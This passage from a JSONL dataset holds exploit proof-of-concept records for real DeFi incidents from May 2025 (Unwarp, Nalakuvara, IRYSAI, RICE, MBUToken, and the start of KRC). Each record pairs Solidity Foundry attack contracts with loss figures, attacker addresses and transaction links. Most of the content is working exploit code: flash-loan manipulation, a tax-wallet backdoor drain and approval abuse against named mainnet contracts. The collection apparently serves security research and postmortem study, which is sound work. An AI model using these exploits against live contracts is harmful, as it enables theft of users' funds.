"total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 0.77, "quality_estimate": "low", "title": "YDTtoken Exploit (2025-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~9 K usdt\n// Original Attacker : https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc9\n// Attack Contract : https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f\n// Vulnerable Contract: https://basescan.org/address/0x8befc1d90d03011a7d0b35b3a00ec50f8e014802\n// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41\n//author: test\n\ncontract Unwarp is Test {\n IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));\n IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n address A=0x8bEfC1d90d03011a7d0b35B3a00eC50f8E014802;\n\n \n\n function setUp() public {\n vm.createSelectFork(\"base\", 30210273);\n }\n\n function testExploit() public {\n IERC20(WETH).approve(address(vault), type(uint256).max);\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 100852657473363426325;\n bytes memory encodedata = abi.encode(address(this));\n\n vault.flashLoan(address(this),assets,amounts,encodedata);\n \n emit log_named_decimal_uint(\"WETH Balance after the attack\",address(this).balance, 18);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n WETH.transfer(address(A),100852657473363426325);\n address(A).call(abi.encodeWithSignature(\"unwrapWETH(uint256,address)\",104833984375000000000 ,address(this)));\n WETH.deposit{value: 100852657473363426325}();\n WETH.transfer(address(vault),100852657473363426325);\n }\n\n fallback() external payable {}\n\n}\n\n", "type": "exploit_poc", "protocol": "Unwarp", "date": "2025-05", "file_name": "Unwarp_exp.sol", "attack_vector": "flash_loan", "content_hash": "0786e3c9e299684b", "collected_at": "2026-01-07T10:59:16.513543", "_source": "postmortems", "chain": "base", "block_number": 30210273, "total_lost_raw": "~9 K usdt", "total_lost_usd": 9000.0, "attacker_address": "https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc9", "attack_contract": "https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f", "vulnerable_contract": "https://basescan.org/address/0x8befc1d90d03011a7d0b35b3a00ec50f8e014802", "attack_tx": "https://app.blocksec.com/explorer/tx/base/0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~9 K usdt", "category": "flash-loan", "exploit_code": "function testExploit() public {\n IERC20(WETH).approve(address(vault), type(uint256).max);\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 100852657473363426325;\n bytes memory encodedata = abi.encode(address(this));\n\n vault.flashLoan(address(this),assets,amounts,encodedata);\n \n emit log_named_decimal_uint(\"WETH Balance after the attack\",address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~9 K usdt", "keyinfo_attacker": "https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc9", "keyinfo_attack_contract": "https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x8befc1d90d03011a7d0b35b3a00ec50f8e014802", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/base/0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$9.0K", "content_richness_score": 8.0, "quality_estimate": "medium", "title": "Unwarp Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 105470 USDC\n// Attacker : https://basescan.org/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32\n// Attack Tx : https://basescan.org/tx/0x16a99aef4fab36c84ba4616668a03a5b37caa12e2fc48923dba4e711d2094699\n\n// @Analysis\n// Root cause : https://x.com/TenArmorAlert/status/1921046572353417560\n// X(Twitter) Guy : https://x.com/TenArmorAlert/status/1920816516653617318\n\naddress constant UniswapV3Pool = 0xd0b53D9277642d899DF5C87A3966A349A798F224;\naddress constant UniswapV2Pair = 0xaDcaaB077f636d74fd50FDa7f44ad41e20A21FEE;\naddress constant usdc = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;\naddress constant LotteryTicketSwap50 = 0x172119155a48DE766B126de95c2cb331D3A5c7C2;\naddress constant LotteryTicket50 = 0xF9260Bb78d16286270e123642ca3DE1F2289783b;\naddress constant Nalakuvara = 0xb39392F4b6D92a6BD560Ed260C2c488081aAB8E9;\n\ncontract Nalakuvara_LotteryTicket50_exp is Test {\n address attacker = 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32;\n\n function setUp() public {\n vm.createSelectFork(\"base\", 30_001_613 - 1); // Create contract block\n\n vm.deal(attacker, 1 ether);\n\n vm.label(attacker, \"Attacker\");\n vm.label(UniswapV3Pool, \"UniswapV3Pool\");\n vm.label(UniswapV2Pair, \"UniswapV2Pair\");\n vm.label(usdc, \"USDC\");\n vm.label(Nalakuvara, \"Nalakuvara\");\n vm.label(LotteryTicketSwap50, \"LotteryTicketSwap50\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"USDC before attack\", IUSDC(usdc).balanceOf(attacker), 6);\n\n vm.prank(attacker);\n AttackerC ac = new AttackerC{value: 0.2 ether}();\n ac.attack();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"USDC after attack\", IUSDC(usdc).balanceOf(attacker), 6);\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n constructor() payable {\n attacker = msg.sender;\n }\n\n function attack() public {\n IUniswapV3Flash(UniswapV3Pool).flash(address(this), 0, 2_930_000_000_000, \"\");\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n IUSDC(usdc).transfer(UniswapV2Pair, 2_800_000_000_000);\n\n IUniswapV2Pair(UniswapV2Pair).swap(0, 71_500_000_000_000_000_000_000_000_000, address(this), \"\");\n\n IUSDC(usdc).approve(LotteryTicketSwap50, 10_000_999_990_000_000_000_000_000_000);\n\n ILotteryTicketSwap50(LotteryTicketSwap50).transferToken(130_000_000_000);\n\n IERC20(Nalakuvara).transfer(UniswapV2Pair, 71_500_000_000_000_000_000_000_000_000);\n\n IUniswapV2Pair(UniswapV2Pair).swap(2_908_000_000_000, 0, address(this), \"\");\n\n IERC20(LotteryTicket50).approve(LotteryTicketSwap50, 1_000_000_000_000_000_000_000_000_000);\n\n // uint256 i = 1;\n // while (true) {\n // ILotteryTicketSwap50(LotteryTicketSwap50).DestructionOfLotteryTickets(20_000_000);\n // if (IUSDC(usdc).balanceOf(address(this)) > 2_931_750_000_000) break;\n // i++;\n // }\n // console.log(\"Number of iterations: \", i);\n\n for (uint256 i = 0; i < 130; i++) {\n ILotteryTicketSwap50(LotteryTicketSwap50).DestructionOfLotteryTickets(20_000_000);\n }\n\n IUSDC(usdc).transfer(UniswapV3Pool, 2_931_750_000_000); // Pay back flash loan\n\n uint256 profit = IUSDC(usdc).balanceOf(address(this));\n // console.log(profit);\n IUSDC(usdc).transfer(attacker, profit);\n }\n\n receive() external payable {}\n}\n\ninterface ILotteryTicketSwap50 {\n function transferToken(uint256 amount) external returns (bool);\n function DestructionOfLotteryTickets(uint256 _amountTickets) external returns (bool);\n}\n", "type": "exploit_poc", "protocol": "Nalakuvara_LotteryTicket50", "date": "2025-05", "file_name": "Nalakuvara_LotteryTicket50_exp.sol", "attack_vector": null, "content_hash": "d6865de81f1f198f", "collected_at": "2026-01-07T10:59:16.513589", "_source": "postmortems", "chain": "base", "block_number": 30001613, "total_lost_raw": "105470 USDC", "total_lost_usd": 105470.0, "attacker_address": "https://basescan.org/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://basescan.org/tx/0x16a99aef4fab36c84ba4616668a03a5b37caa12e2fc48923dba4e711d2094699", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "105470 USDC", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"USDC before attack\", IUSDC(usdc).balanceOf(attacker), 6);\n\n vm.prank(attacker);\n AttackerC ac = new AttackerC{value: 0.2 ether}();\n ac.attack();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"USDC after attack\", IUSDC(usdc).balanceOf(attacker), 6);\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n constructor() payable {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "105470 USDC", "keyinfo_attacker": "https://basescan.org/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://basescan.org/tx/0x16a99aef4fab36c84ba4616668a03a5b37caa12e2fc48923dba4e711d2094699", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$105.5K", "content_richness_score": 6.9, "quality_estimate": "medium", "title": "Nalakuvara_LotteryTicket50 Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 69.6K USD\n// Attacker : \n// Attack Contract : \n// Vulnerable Contract : \n// Backdoor Tx : https://bscscan.com/tx/0x8c637fc98ad84b922e6301c0b697167963eee53bbdc19665f5d122ae55234ca6\n// Rugpull Tx : https://bscscan.com/tx/0xe9a66bad8975f2a7b68c74992054c84d6d80ac4c543352e23bf23740b8858645\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1925012844052975776\n// Twitter Guy : https://x.com/TenArmorAlert/status/1925012844052975776\n// Hacking God : N/A\n\naddress constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;\naddress constant IRYSAI = 0x746727FC8212ED49510a2cB81ab0486Ee6954444;\naddress constant PancakePair = 0xeB703Ed8C1A3B1d7E8E29351A1fE5E625E2eFe04;\naddress constant addr1 = 0xc4cE1E4A8Cd2Ba980646e855817252C7AA9C4AE8;\naddress constant addr3 = 0x20bB82f7C5069c2588fa900eD438FEFD2Ae36827;\n\naddress constant addr2 = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\ninterface IPancakeRouter02 {\n function factory() external view returns (address);\n function WETH() external view returns (address);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 49994891);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of addr3\", address(addr3).balance, 18);\n vm.startPrank(addr1, addr1);\n addr3C attC = new addr3C();\n IIRYSAI(IRYSAI).setTaxWallet(address(attC));\n vm.startPrank(addr3, addr3);\n attC.burn();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of addr3\", address(addr3).balance, 18);\n }\n}\n\n// 0x6233a81BbEcb355059DA9983D9fC9dFB86D7119f\ncontract addr3C {\n receive() external payable {}\n\n function burn() public {\n require(msg.sender == addr3, \"only addr3\");\n\n address factory = IPancakeRouter02(PancakeRouter).factory();\n address weth = IPancakeRouter02(PancakeRouter).WETH();\n address pair = IPancakeFactory(factory).getPair(IRYSAI, weth);\n uint256 balPair = IIRYSAI(IRYSAI).balanceOf(pair);\n\n uint256 amount = balPair - (balPair / 10000);\n IIRYSAI(IRYSAI).transferFrom(pair, address(this), amount);\n IPancakePair(pair).sync();\n uint256 balThis = IIRYSAI(IRYSAI).balanceOf(address(this));\n\n IERC20(IRYSAI).approve(PancakeRouter, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = IRYSAI;\n path[1] = addr2; // WBNB\n\n IPancakeRouter02(PancakeRouter).swapExactTokensForETHSupportingFeeOnTransferTokens(\n balThis,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n (bool s, ) = payable(addr3).call{value: 107462996233504225783}(\"\");\n require(s, \"transfer failed\");\n }\n \n fallback() external payable {}\n}\n\ninterface IPancakeFactory {\n\tfunction getPair(address, address) external returns (address); \n}\ninterface IIRYSAI {\n function setTaxWallet(address) external;\n\tfunction transferFrom(address, address, uint256) external returns (bool);\n\tfunction balanceOf(address) external returns (uint256); \n}", "type": "exploit_poc", "protocol": "IRYSAI", "date": "2025-05", "file_name": "IRYSAI_exp.sol", "attack_vector": null, "content_hash": "fbaf5421efdd1210", "collected_at": "2026-01-07T10:59:16.513643", "_source": "postmortems", "chain": "bsc", "block_number": 49994891, "total_lost_raw": "69.6K USD", "total_lost_usd": 69600.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://x.com/TenArmorAlert/status/1925012844052975776", "twitter_url": "https://x.com/TenArmorAlert/status/1925012844052975776", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "69.6K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of addr3\", address(addr3).balance, 18);\n vm.startPrank(addr1, addr1);\n addr3C attC = new addr3C();\n IIRYSAI(IRYSAI).setTaxWallet(address(attC));\n vm.startPrank(addr3, addr3);\n attC.burn();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of addr3\", address(addr3).balance, 18);\n }\n}\n\n// 0x6233a81BbEcb355059DA9983D9fC9dFB86D7119f\ncontract addr3C {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "69.6K USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1925012844052975776", "analysis_twitter": "https://x.com/TenArmorAlert/status/1925012844052975776", "funds_lost_formatted": "$69.6K", "content_richness_score": 5.78, "quality_estimate": "medium", "title": "IRYSAI Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 34.5 WETH ($88.1K)\n// Attacker : https://basescan.org/address/0x2a49c6fd18bd111d51c4fffa6559be1d950b8eff\n// Attack Contract : https://basescan.org/address/0x7ee23c81995fe7992721ac14b3af522718b63f8f\n// Vulnerable Contract : https://basescan.org/address/0xcfe0de4a50c80b434092f87e106dfa40b71a5563\n// Attack Tx : https://basescan.org/tx/0x8421c96c1cafa451e025c00706599ef82780bdc0db7d17b6263511a420e0cf20\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0xcfe0de4a50c80b434092f87e106dfa40b71a5563#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1926461662644633770\n// Hacking God : N/A\n\naddress constant WETH_ADDR = 0x4200000000000000000000000000000000000006;\naddress constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;\naddress constant USDT_ADDR = 0xfde4C96c8593536E31F229EA8f37b2ADa2699bb2;\naddress constant RICE_TOKEN = 0xf501E4c51dBd89B95de24b9D53778Ff97934cd9c;\naddress constant SWAP_ROUTER = 0xBE6D8f0d05cC4be24d5167a3eF062215bE6D18a5;\naddress constant UNISWAP_V3_ROUTER = 0x2626664c2603336E57B271c5C0b26F421741e481;\n\ncontract RICE_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 30_655_996 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = WETH_ADDR;\n\n vm.label(WETH_ADDR, \"WETH\");\n vm.label(USDC_ADDR, \"USDC\");\n vm.label(USDT_ADDR, \"USDT\");\n vm.label(RICE_TOKEN, \"RICE\");\n vm.label(SWAP_ROUTER, \"SwapRouter\");\n vm.label(UNISWAP_V3_ROUTER, \"Uniswap V3: Swap Router02\");\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start() public {\n IERC20(USDT_ADDR).allowance(address(this), SWAP_ROUTER);\n IERC20(USDT_ADDR).approve(SWAP_ROUTER, type(uint256).max);\n IERC20(RICE_TOKEN).allowance(address(this), UNISWAP_V3_ROUTER);\n IERC20(RICE_TOKEN).approve(UNISWAP_V3_ROUTER, type(uint256).max);\n\n address unverified = 0xcfE0DE4A50C80B434092f87e106DFA40b71A5563;\n I0xcfE0(unverified).registerProtocol();\n address user = 0x49876a20bB86714e98A7E4d0a33d85a4011b3455;\n I0xcfE0(unverified).setMasterContractApproval(user, address(this), true, 0, bytes32(0), bytes32(0));\n uint256 balance = 22_189_176_505_973_791_717_313_474;\n I0xcfE0(unverified).withdraw(RICE_TOKEN, user, address(this), balance, balance);\n\n TokenHelper.approveToken(RICE_TOKEN, UNISWAP_V3_ROUTER, type(uint256).max);\n ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({\n tokenIn: RICE_TOKEN,\n tokenOut: USDT_ADDR,\n fee: 3000,\n recipient: address(this),\n amountIn: balance,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n ISwapRouter(UNISWAP_V3_ROUTER).exactInputSingle(params);\n\n TokenHelper.approveToken(USDT_ADDR, SWAP_ROUTER, type(uint256).max);\n\n ISwapRouter.ExactInputParams memory params2 = ISwapRouter.ExactInputParams({\n path: hex\"fde4c96c8593536e31f229ea8f37b2ada2699bb2000001833589fcd6edb6e08f4c7c32d4f71b54bda029130000644200000000000000000000000000000000000006\",\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: 88_232_917_196,\n amountOutMinimum: 0\n });\n ISwapRouter(SWAP_ROUTER).exactInput(params2);\n\n uint256 finalBalance = TokenHelper.getTokenBalance(WETH_ADDR, address(this));\n TokenHelper.transferToken(WETH_ADDR, attacker, finalBalance);\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ninterface I0xcfE0 {\n function registerProtocol() external;\n function setMasterContractApproval(\n address user,\n address masterContract,\n bool approved,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;\n}\n\ninterface ISwapRouter {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInputSingle(ExactInputSingleParams memory params) external payable returns (uint256 amountOut);\n\n function exactInput(ExactInputParams memory params) external payable returns (uint256 amountOut);\n}\n", "type": "exploit_poc", "protocol": "RICE", "date": "2025-05", "file_name": "RICE_exp.sol", "attack_vector": null, "content_hash": "ae2a8c003c7ed777", "collected_at": "2026-01-07T10:59:16.513702", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "~ 34.5 WETH ($88.1K)", "total_lost_usd": 34.5, "attacker_address": "https://basescan.org/address/0x2a49c6fd18bd111d51c4fffa6559be1d950b8eff", "attack_contract": "https://basescan.org/address/0x7ee23c81995fe7992721ac14b3af522718b63f8f", "vulnerable_contract": "https://basescan.org/address/0xcfe0de4a50c80b434092f87e106dfa40b71a5563", "attack_tx": "https://basescan.org/tx/0x8421c96c1cafa451e025c00706599ef82780bdc0db7d17b6263511a420e0cf20", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1926461662644633770", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~ 34.5 WETH ($88.1K)", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.start();\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 34.5 WETH ($88.1K)", "keyinfo_attacker": "https://basescan.org/address/0x2a49c6fd18bd111d51c4fffa6559be1d950b8eff", "keyinfo_attack_contract": "https://basescan.org/address/0x7ee23c81995fe7992721ac14b3af522718b63f8f", "keyinfo_vulnerable_contract": "https://basescan.org/address/0xcfe0de4a50c80b434092f87e106dfa40b71a5563", "keyinfo_attack_tx": "https://basescan.org/tx/0x8421c96c1cafa451e025c00706599ef82780bdc0db7d17b6263511a420e0cf20", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1926461662644633770", "funds_lost_formatted": "$34", "content_richness_score": 8.62, "quality_estimate": "high", "title": "RICE Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2.16 M BUSD\n// Original Attacker : https://bscscan.com/address/0xb32a53af96f7735d47f4b76c525bd5eb02b42600\n// Attack Contract : https://bscscan.com/address/0x631adff068d484ce531fb519cda4042805521641\n// Vulnerable Contract 0 : https://bscscan.com/address/0x95e92b09b89cf31fa9f1eca4109a85f88eb08531\n// Vulnerable Contract 1 : https://bscscan.com/address/0x0dfb6ac3a8ea88d058be219066931db2bee9a581\n// Attack Tx : https://bscscan.com/tx/0x2a65254b41b42f39331a0bcc9f893518d6b106e80d9a476b8ca3816325f4a150\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant BlockRazor = 0x1266C6bE60392A8Ff346E8d5ECCd3E69dD9c5F20;\n\naddress constant MBU = 0x0dFb6Ac3A8Ea88d058bE219066931dB2BeE9A581;\naddress constant _0x95e9_ERC1967Proxy = 0x95e92B09b89cF31Fa9F1Eca4109A85F88EB08531;\n\ncontract MBUToken_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 49470430 - 1);\n vm.deal(attacker, 1 ether);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n \n attC.attack{value: 1 ether}();\n\n emit log_named_decimal_uint(\"Profit in BUSD\", IERC20(BUSD).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n function attack() external payable {\n WETH9(payable(wbnb)).deposit{value: 0.001 ether}();\n\n IERC20(wbnb).approve(_0x95e9_ERC1967Proxy, 0.001 ether);\n\n I_0x95e9_ERC1967Proxy(_0x95e9_ERC1967Proxy).deposit(wbnb, 0.001 ether);\n\n IERC20(MBU).approve(router, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = MBU;\n path[1] = BUSD;\n IPancakeRouter(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 30_000_000 ether,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n IERC20(BUSD).transfer(msg.sender, IERC20(BUSD).balanceOf(address(this)));\n\n // Pay MEV Protected Transaction\n BlockRazor.call{value: 0.999 ether}(\"\");\n }\n}\n\ninterface I_0x95e9_ERC1967Proxy {\n function deposit(address, uint256) external returns(uint256);\n}", "type": "exploit_poc", "protocol": "MBUToken", "date": "2025-05", "file_name": "MBUToken_exp.sol", "attack_vector": null, "content_hash": "a4bd2beae47943ad", "collected_at": "2026-01-07T10:59:16.513760", "_source": "postmortems", "chain": "bsc", "block_number": 49470430, "total_lost_raw": "~2.16 M BUSD", "total_lost_usd": 2160000.0, "attacker_address": "https://bscscan.com/address/0xb32a53af96f7735d47f4b76c525bd5eb02b42600", "attack_contract": "https://bscscan.com/address/0x631adff068d484ce531fb519cda4042805521641", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x2a65254b41b42f39331a0bcc9f893518d6b106e80d9a476b8ca3816325f4a150", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~2.16 M BUSD", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n \n attC.attack{value: 1 ether}();\n\n emit log_named_decimal_uint(\"Profit in BUSD\", IERC20(BUSD).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "~2.16 M BUSD", "keyinfo_attacker": "https://bscscan.com/address/0xb32a53af96f7735d47f4b76c525bd5eb02b42600", "keyinfo_attack_contract": "https://bscscan.com/address/0x631adff068d484ce531fb519cda4042805521641", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x2a65254b41b42f39331a0bcc9f893518d6b106e80d9a476b8ca3816325f4a150", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.16M", "content_richness_score": 6.28, "quality_estimate": "medium", "title": "MBUToken Exploit (2025-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 7k USD\n// Attacker : https://bscscan.com/address/0x9943f26831f9b468a7fe5ac531c352baab8af655\n// Attack Contract : 0xd995edcab2efe3283514ff111cedc9aaff0349c8\n// Vulnerable Contract : https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5\n// Attack Tx : https://bscscan.com/tx/0x78f242dee5b8e15a43d23d76bce827f39eb3ac54b44edcd327c5d63de3848daf\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5#code\n\n// @Analysis\n// Post-mortem : https://x.com/OpenZeppelin/status/1953111764536561867\n// Twitter Guy : https://x.com/CertikAIAgent/status/1924280794916536765\n// Hacking God : N/A\n\ncontract KRC_Exploit is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 49875424 - 1;\n uint256 dodo_borrow_amount = 248157126634995412253694;\n\n // --- Contracts ---\n IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 krcToken = IERC20(0x1814a8443F37dDd7930A9d8BC4b48353FE589b58);\n I0x6098_DPP_DODO dodo_private_pool = I0x6098_DPP_DODO(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IPancakeV3Pool pancake_v3_pool = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n IUniswapV2Router router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair krc_pair = IPancakePair(0xdBEAD75d3610209A093AF1D46d5296BBeFFd53f5);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n fundingToken = address(usdt);\n }\n\n function testExploit() public balanceLog {\n // Step 1: Initial Flashloan from Dodo Private Pool\n dodo_private_pool.flashLoan(0, dodo_borrow_amount, address(this), new bytes(1));\n }\n\n // Step 2: Dodo Flashloan Callback\n function DPPFlashLoanCall(address, uint256, uint256, bytes calldata) external {\n // Step 3: Nested Flashloan from PancakeV3 Pool\n uint256 pcv3_flash_amount = 100000000000000000000000;\n pancake_v3_pool.flash(address(this), pcv3_flash_amount, 0, new bytes(1));\n\n // Step 10: Repay Dodo Flashloan at the very end\n usdt.transfer(address(dodo_private_pool), dodo_borrow_amount);\n }\n\n // Step 4: PancakeV3 Flashloan Callback (Core Exploit Logic)\n function 